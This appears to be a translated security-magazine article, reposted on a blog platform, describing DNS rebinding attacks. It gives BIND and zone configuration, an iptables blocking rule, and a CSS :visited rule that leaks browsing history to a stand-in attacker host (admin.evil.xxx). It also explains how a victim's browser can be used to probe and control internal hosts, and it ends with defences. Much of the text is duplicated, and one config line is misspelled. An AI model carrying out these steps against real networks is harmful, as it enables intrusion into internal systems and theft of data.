Second Life DNS Rebinding. A fresh approach to the implementation of attacks Anti DNS pinning
The basis of the security model embedded in modern browsers is the mechanism of “Same origin policy”. Its essence lies in the fact that browsers do not allow scripts to access data located on third-party domains. The only exceptions are the ability to send POST requests and connect javascript and css files to the page. However, there are no legal ways to read data from another domain.
Let's think about what exactly could be achieved if the restriction on receiving data from other domains could be canceled. First of all, we would be able not only to send requests for third-party resources (as with standard CSRF attacks), but also to process responses received from the server. So, most of the mechanisms designed to protect against CSRF attacks would stop working. We could get access to resources located on the internal network (inaccessible from the outside), while the user's browser would be used as a proxy. It would also be possible to obtain confidential data from resources on which the user is authenticated using certificates. A good example of such a web application for a corporate environment is the Outlook Web Access mail server.
It was to circumvent the “Same origin policy” restriction that the family of Anti DNS pinning attacks, also known as DNS rebinding, was invented. Anti-DNS pinning attacks are subject to web servers that respond to HTTP requests with an arbitrary Host header value. In particular, all Apache web servers and IIS with the default configuration are vulnerable. Almost all remote services managed via HTTP, but without a web interface, are also vulnerable. For example, virtually all services that provide remote APIs with control using SOAP, XML-RPC, and the like are vulnerable.
Modern browsers, when retrieving a page from any site, cache the results of a DNS query. This is done to prevent sending requests to third-party servers by spoofing the IP address. Let's think about what can be done to bypass this mechanism. Previously, an attack (in theory) could be carried out as follows:
Accordingly, if you manage to lure the victim to your evil.xxx domain, you can force the user's browser to think that this is not the IP address from the external Internet that corresponds to the IP address from the local network. At this address, for example, there may be some important internal corporate resource. The only problem is that this attack option does not work.
')
As you can see from the description of the attack, we need one server on which we need to raise and configure the WEB and DNS servers, we also need a domain to which we can lure the victim. When registering a domain name, we specify the data of our server as NS-servers.
In order to successfully carry out an attack in practice, you need to configure the NS server so that it returns both IP addresses simultaneously. Moreover, the IP-address of the server on which the Javascript rests, conducting the attack, must be returned first, and the IP-address of the server of the victim - the second. In this case, when accessing the domain, the browser will first download the attacking script from our server, only later, when the server becomes unavailable (as a result of blocking the request by a firewall), it will contact the victim's server.
The Bind 9 server is quite suitable for this purpose. In order for it to return IP addresses in the correct order, it needs to be assembled from source codes with the - enable-fixed-rrset flag. By default, this flag is not set, and the versions distributed in binaries cannot be used. In the bind9 settings, you specify that you should use a fixed order of IP addresses. To do this, in named.conf.options, the options parameter indicates:
Next you need to configure the zone. For example domain dns.evil.xxx:
As a result, when accessing the attacker's DNS server, for the dns.attacker.ru domain, the browser will always contact the IP address 97.246.251.93 first, then, if it is not available, 192.168.0.1. In some cases, this order may be violated, described in more detail below.
In addition to the DNS server, an attack will require a web server (for example, consider Apache), and a convenient mechanism for blocking incoming requests to connect to the server. To block incoming requests, you can use an iptables firewall, and the most effective way to block is sending a packet with tcp-reset in response to the connection attempt, otherwise the browser will spend too much time within the TCP session timeout waiting for a response from the server. With iptables, this is done as follows:
In the example, only port 80 is deliberately blocked, as to implement the attack, you will need a service to which data received from the client will be sent. As a result, the attack is as follows:
So, the browser thinks that the script was downloaded from the resource from the internal network, and we have the opportunity to manage this resource. What tasks should this script perform to gain practical benefit? First, the script must determine which application we are dealing with, then if there is any authorization that needs to be bypassed. After that, the script must execute the commands laid down in it for this type of equipment. For example, change the configuration or get a copy of the letters / documents stored on the vulnerable server. After executing hard-coded commands, you can switch the victim's browser to proxy mode and allow the attacker to send requests to the application online.
Before performing all these tasks, you need to figure out how the script will send requests to the vulnerable application, and how the received data will be transferred to the attacker's server. We do not forget that we have already bypassed the limitations of the Same Origin Policy, which means that standard AJAX technologies, in particular the XMLHttpRequest component, can be used to communicate the script with the vulnerable server.
It is more difficult to transfer the received data to the server, since the attack management server (the attacker's administrative panel) is located either on a different domain or on a different port (we blocked the 80th port on our server). This means that the script will again face the limitations of the Same Origin Policy. Fortunately, a technology called JSONP was invented to solve this problem, the use of which will allow you to send requests to our server if it returns specially prepared answers (for more information about JSONP, see web-programming resources). With mechanisms everything is clear, we go further.
When sending commands to the attacked server, you should either use XMLHttpRequest in synchronous mode, or synchronize the sending of commands manually and not send a subsequent command until the answer to the previous one comes. In order to increase the speed of the script, I recommend using the second option.
To use the victim’s browser as a proxy, after the script has finished running, run the setInterval function, into which to pass code that will request the following command from the managing server, which must be run on the attacked equipment. And the result of the command can be sent back to the server.
We figured out what to do if the goal is the same. Now we need to figure out how to attack corporate networks entirely. Well, first of all, to conduct such an attack, you must learn to determine the IP addresses of the attack targets in a reasonable time. Secondly, it is necessary to provide the ability to attack multiple targets in one user session. Thirdly, the ability to perform distributed attacks on the same server from several browsers located in the company's internal network is required. And fourthly, the ability to send requests to different IP addresses is required when using the victim's browser as a proxy (the above was about sending such commands to only one address).
You can scan network IP addresses by range to determine targets. To do this, you can use, for example, the IFRAME tag and the onLoad event. Another implementation is to create an Image object and use onLoad to determine whether the image has loaded. To determine that a resource was not found at this address, you can use the setTimeout function, which after some time will check whether the object was created or not, and if the object was not created, signal that the resource was not found at this address.
There are several obvious problems with using this approach:
A few years ago, an interesting way was proposed to determine the web addresses that a user visited a browser. The essence of the method lies in the fact that with the help of javascript you can find out the color of the link created on the page, and for previously visited links this color is different.
Thus, having created the list of addresses, you can use javascript to create a tag for each address from the list and check its color with the color of the already visited link. For simplicity, the colors of the already visited links are set explicitly with CSS.
Several years passed, and this vulnerability was closed. Modern versions of browsers (even IE8) now always give the program color the default color for links, even if the link was previously visited. However, this vulnerability can still be implemented in a new way. To do this, we will hard set an array of checked links, for example:
For each link in the dynamically generated STYLE tag, add a CSS rule of the form:
As a result, when creating a link that was visited, the browser will try to load the url specified in the address, and for an unvisited link the url will not load. Thus, information about the visited links can be sent to the server, and all current browser versions, including the newest ones, are subject to this type of attack.
To initiate a DNS-like attack, rebinding requires blocking connections from the user’s side, and taking into account the reaction of modern browsers, this blocking should be made even during TCP handshake. If blocking is carried out after the connection, the browser will not use an alternative address. In particular, IE and Firefox return a 200 OK response with an empty response body, and Opera browser returns error code 404 and does not attempt to connect to a different IP address. Thus, a parallel attack of several resources simultaneously using the standard approach is impossible.
To attack multiple targets, you can highlight the functions of defining targets and selecting the current target into a separate HTML page. When a target is detected, its IP address will be transmitted to the server, and the server script should create an appropriate subdomain in the DNS table to attack it. For example, for ip-address 192.168.0.1, you can create a subdomain 192.168.0.1.dns.evil.xxx. The management page at dns.evil.xxx/control.html should create an iframe into which a document containing the client script of the DNS Rebinding attack will be loaded, for example, at 192.168.0.1.dns.evil.xxx/rebinding. html .
So that you do not have to add virtual sites during the attack, you need to configure the virtual host of the web server so that the same files are given for all subdomains. This creates a paradox: the server performing the attack itself will be vulnerable to it :).
The received page informs the server that it serves only its requests, requests blocking of the attacker's ip-address, performs work and releases the blocking. At the same time, the server again allows requests from the victim.
The full algorithm is as follows:
For the dynamic creation of DNS records, you can use the automatic DNS update mechanism, for example, the nsupdate utility. If you use it, you will not need to restart the DNS server.
In principle, there are several ways to protect against this type of attack, for example:
Hacker Magazine, August (08) 151
Denis Baranov .
Based on Positive Hack Days .
Subscribe to "Hacker"
Circumvention of restrictions
Let's think about what exactly could be achieved if the restriction on receiving data from other domains could be canceled. First of all, we would be able not only to send requests for third-party resources (as with standard CSRF attacks), but also to process responses received from the server. So, most of the mechanisms designed to protect against CSRF attacks would stop working. We could get access to resources located on the internal network (inaccessible from the outside), while the user's browser would be used as a proxy. It would also be possible to obtain confidential data from resources on which the user is authenticated using certificates. A good example of such a web application for a corporate environment is the Outlook Web Access mail server.
It was to circumvent the “Same origin policy” restriction that the family of Anti DNS pinning attacks, also known as DNS rebinding, was invented. Anti-DNS pinning attacks are subject to web servers that respond to HTTP requests with an arbitrary Host header value. In particular, all Apache web servers and IIS with the default configuration are vulnerable. Almost all remote services managed via HTTP, but without a web interface, are also vulnerable. For example, virtually all services that provide remote APIs with control using SOAP, XML-RPC, and the like are vulnerable.
We attack with DNS Rebinding
What is the point?
Modern browsers, when retrieving a page from any site, cache the results of a DNS query. This is done to prevent sending requests to third-party servers by spoofing the IP address. Let's think about what can be done to bypass this mechanism. Previously, an attack (in theory) could be carried out as follows:
- The victim refers to the domain owned by the attacker.
- Receives from the DNS server the IP address corresponding to the domain name.
- It addresses the web server (corresponding to the received IP) and receives a javascript script from it.
- The resulting Javascript some time after the download initiates a second request to the server.
- At this point, the attacker, using the firewall, blocks all victim requests to the server.
- The browser tries to re-find the IP address of the server (by sending the corresponding DNS query) and this time it obtains the IP address of the vulnerable server from the victim's local network.
Accordingly, if you manage to lure the victim to your evil.xxx domain, you can force the user's browser to think that this is not the IP address from the external Internet that corresponds to the IP address from the local network. At this address, for example, there may be some important internal corporate resource. The only problem is that this attack option does not work.
')
We implement in practice
As you can see from the description of the attack, we need one server on which we need to raise and configure the WEB and DNS servers, we also need a domain to which we can lure the victim. When registering a domain name, we specify the data of our server as NS-servers.
In order to successfully carry out an attack in practice, you need to configure the NS server so that it returns both IP addresses simultaneously. Moreover, the IP-address of the server on which the Javascript rests, conducting the attack, must be returned first, and the IP-address of the server of the victim - the second. In this case, when accessing the domain, the browser will first download the attacking script from our server, only later, when the server becomes unavailable (as a result of blocking the request by a firewall), it will contact the victim's server.
The Bind 9 server is quite suitable for this purpose. In order for it to return IP addresses in the correct order, it needs to be assembled from source codes with the - enable-fixed-rrset flag. By default, this flag is not set, and the versions distributed in binaries cannot be used. In the bind9 settings, you specify that you should use a fixed order of IP addresses. To do this, in named.conf.options, the options parameter indicates:
rrset-oredr { order fixed; };Next you need to configure the zone. For example domain dns.evil.xxx:
dns A 97.246.251.93
A 192.168.0.1As a result, when accessing the attacker's DNS server, for the dns.attacker.ru domain, the browser will always contact the IP address 97.246.251.93 first, then, if it is not available, 192.168.0.1. In some cases, this order may be violated, described in more detail below.
In addition to the DNS server, an attack will require a web server (for example, consider Apache), and a convenient mechanism for blocking incoming requests to connect to the server. To block incoming requests, you can use an iptables firewall, and the most effective way to block is sending a packet with tcp-reset in response to the connection attempt, otherwise the browser will spend too much time within the TCP session timeout waiting for a response from the server. With iptables, this is done as follows:
iptables -A INPUT -s [ IP-] -p tcp --dport 80 -j REJECT --reject-with tcp-reset
Block user with iptables
In the example, only port 80 is deliberately blocked, as to implement the attack, you will need a service to which data received from the client will be sent. As a result, the attack is as follows:
- The victim addresses the dns.evil.xxx domain.
- An attacker's DNS server returns both IP addresses in a fixed order.
- The browser forwards the request to the server located on the external IP 97.246.251.93.
- The server returns an HTML page with JavaScript.
- After downloading the page in the browser, client-side javascript sends a request to the dns.evil.xxx domain.
- After receiving the request, the server script blocks incoming connections from the victim's IP address.
- After some time, the client script again accesses the dns.attacker.ru domain and, since the server 97.246.251.93 returns the RST, the request is redirected to the local server 192.168.0.1.
Payload
So, the browser thinks that the script was downloaded from the resource from the internal network, and we have the opportunity to manage this resource. What tasks should this script perform to gain practical benefit? First, the script must determine which application we are dealing with, then if there is any authorization that needs to be bypassed. After that, the script must execute the commands laid down in it for this type of equipment. For example, change the configuration or get a copy of the letters / documents stored on the vulnerable server. After executing hard-coded commands, you can switch the victim's browser to proxy mode and allow the attacker to send requests to the application online.
Before performing all these tasks, you need to figure out how the script will send requests to the vulnerable application, and how the received data will be transferred to the attacker's server. We do not forget that we have already bypassed the limitations of the Same Origin Policy, which means that standard AJAX technologies, in particular the XMLHttpRequest component, can be used to communicate the script with the vulnerable server.
It is more difficult to transfer the received data to the server, since the attack management server (the attacker's administrative panel) is located either on a different domain or on a different port (we blocked the 80th port on our server). This means that the script will again face the limitations of the Same Origin Policy. Fortunately, a technology called JSONP was invented to solve this problem, the use of which will allow you to send requests to our server if it returns specially prepared answers (for more information about JSONP, see web-programming resources). With mechanisms everything is clear, we go further.
Basic authorization window
The authorization process in the OWA application
Command execution
When sending commands to the attacked server, you should either use XMLHttpRequest in synchronous mode, or synchronize the sending of commands manually and not send a subsequent command until the answer to the previous one comes. In order to increase the speed of the script, I recommend using the second option.
To use the victim’s browser as a proxy, after the script has finished running, run the setInterval function, into which to pass code that will request the following command from the managing server, which must be run on the attacked equipment. And the result of the command can be sent back to the server.
Getting configuration from Cisco equipment
Outcome of an attack on Outlook Web Access
Attack on corporate networks
We figured out what to do if the goal is the same. Now we need to figure out how to attack corporate networks entirely. Well, first of all, to conduct such an attack, you must learn to determine the IP addresses of the attack targets in a reasonable time. Secondly, it is necessary to provide the ability to attack multiple targets in one user session. Thirdly, the ability to perform distributed attacks on the same server from several browsers located in the company's internal network is required. And fourthly, the ability to send requests to different IP addresses is required when using the victim's browser as a proxy (the above was about sending such commands to only one address).
Target designation
You can scan network IP addresses by range to determine targets. To do this, you can use, for example, the IFRAME tag and the onLoad event. Another implementation is to create an Image object and use onLoad to determine whether the image has loaded. To determine that a resource was not found at this address, you can use the setTimeout function, which after some time will check whether the object was created or not, and if the object was not created, signal that the resource was not found at this address.
There are several obvious problems with using this approach:
- The proxy server can return a response even when sending a request to a non-existent IP address, and as a result, the onLoad method will indicate the presence of even non-existent addresses.
- Potentially a large number of false positives with timeout selection errors.
- With a large timeout value and / or a large range of enumerated addresses, the selection may take considerable time.
CSS History Hack v 2.0
A few years ago, an interesting way was proposed to determine the web addresses that a user visited a browser. The essence of the method lies in the fact that with the help of javascript you can find out the color of the link created on the page, and for previously visited links this color is different.
Thus, having created the list of addresses, you can use javascript to create a tag for each address from the list and check its color with the color of the already visited link. For simplicity, the colors of the already visited links are set explicitly with CSS.
Several years passed, and this vulnerability was closed. Modern versions of browsers (even IE8) now always give the program color the default color for links, even if the link was previously visited. However, this vulnerability can still be implemented in a new way. To do this, we will hard set an array of checked links, for example:
var links = [
'http://192.168.0.1',
'http://192.168.1.1',
'http://10.1.1.1'
];For each link in the dynamically generated STYLE tag, add a CSS rule of the form:
A#id:visited { background:url('http://admin.evil.xxx:8080/backonnect.php?url=http://192.168.0.1'); }As a result, when creating a link that was visited, the browser will try to load the url specified in the address, and for an unvisited link the url will not load. Thus, information about the visited links can be sent to the server, and all current browser versions, including the newest ones, are subject to this type of attack.
Attack multiple targets
To initiate a DNS-like attack, rebinding requires blocking connections from the user’s side, and taking into account the reaction of modern browsers, this blocking should be made even during TCP handshake. If blocking is carried out after the connection, the browser will not use an alternative address. In particular, IE and Firefox return a 200 OK response with an empty response body, and Opera browser returns error code 404 and does not attempt to connect to a different IP address. Thus, a parallel attack of several resources simultaneously using the standard approach is impossible.
To attack multiple targets, you can highlight the functions of defining targets and selecting the current target into a separate HTML page. When a target is detected, its IP address will be transmitted to the server, and the server script should create an appropriate subdomain in the DNS table to attack it. For example, for ip-address 192.168.0.1, you can create a subdomain 192.168.0.1.dns.evil.xxx. The management page at dns.evil.xxx/control.html should create an iframe into which a document containing the client script of the DNS Rebinding attack will be loaded, for example, at 192.168.0.1.dns.evil.xxx/rebinding. html .
So that you do not have to add virtual sites during the attack, you need to configure the virtual host of the web server so that the same files are given for all subdomains. This creates a paradox: the server performing the attack itself will be vulnerable to it :).
The received page informs the server that it serves only its requests, requests blocking of the attacker's ip-address, performs work and releases the blocking. At the same time, the server again allows requests from the victim.
The full algorithm is as follows:
- The target determination system transmits target ip-addresses to the attacker's server (for example, 97.246.251.93).
- The control script on the client requests the domain name of the target from the server.
- The server creates a DNS record for the subdomain, which will be used to attack a specific IP address.
Example:97.246.251.93.dns.evil.xxx A 97.246.251.93
A 192.168.0.1 - The control script specifies the resulting domain name as a parameter of the IFRAME src tag.
- The document received from the domain 192.168.0.1.evil.xxx requests a lock from the server.
- The server stops responding to requests for receiving the address of the targets, and blocks calls from the victim's browser to port 80.
- The client script does the work of obtaining the necessary data and equipment management.
- After the end of the work, the client script informs the server that the lock can be released.
- The server releases the lock and again allows access from the address attacking on port 80.
- The control script requests the address of the next target, and the process is repeated if necessary.
Dynamic Subdomain Creation
For the dynamic creation of DNS records, you can use the automatic DNS update mechanism, for example, the nsupdate utility. If you use it, you will not need to restart the DNS server.
Protection against DNS Rebinding attack
In principle, there are several ways to protect against this type of attack, for example:
- Proper configuration of server software. Delete the VirtualHost parameter on the web servers with the value _default_, or *: 80 and explicitly set the host names.
- Protection from the developer of the web application. When installing an application, prompt the user to enter the domain name of the server on which the application will be located, and process requests from the client only if the Host parameter of the HTTP request matches the domain name specified during installation.
- In browsers, use the NOSCRIPT plugin or analogues, prohibit the execution of JavaScript scripts, Java applets or Flash applications.
- The use of zone separation, in which the script received from the external Internet, will definitely not be allowed to access resources located on the user's local network.
Hacker Magazine, August (08) 151
Denis Baranov .
Based on Positive Hack Days .
Subscribe to "Hacker"
Source: https://habr.com/ru/post/125768/
All Articles